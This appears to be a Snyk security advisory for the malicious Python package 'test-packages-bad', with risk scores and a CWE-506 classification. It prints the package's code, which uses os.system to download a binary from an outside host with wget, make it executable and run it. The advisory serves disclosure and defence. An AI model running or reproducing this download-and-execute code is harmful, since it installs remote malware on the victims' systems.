Malicious Package Affecting test-packages-bad package, versions [0,]


0.0
critical

Snyk CVSS

    Exploit Maturity Mature
    Attack Complexity Low
    Confidentiality High
    Integrity High
    Availability High

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-PYTHON-TESTPACKAGESBAD-3123085
  • published 17 Nov 2022
  • disclosed 17 Nov 2022
  • credit Raul Onitza-Klugman - Snyk

Introduced: 17 Nov 2022

New Malicious CVE NOT AVAILABLE CWE-506 Open this link in a new tab
First added by Snyk

How to fix?

Avoid using test-packages-bad altogether.

Overview

test-packages-bad is a malicious package. This package downloads and runs malicious code on the victim host.

Malicious Code

import os

os.system("wget https://dark.devsecwise.com/cronjob.out >/dev/null 2>&1")
os.system("chmod +x /home/$he/.metasploit/cronjob.out")
os.system("./cronjob.out")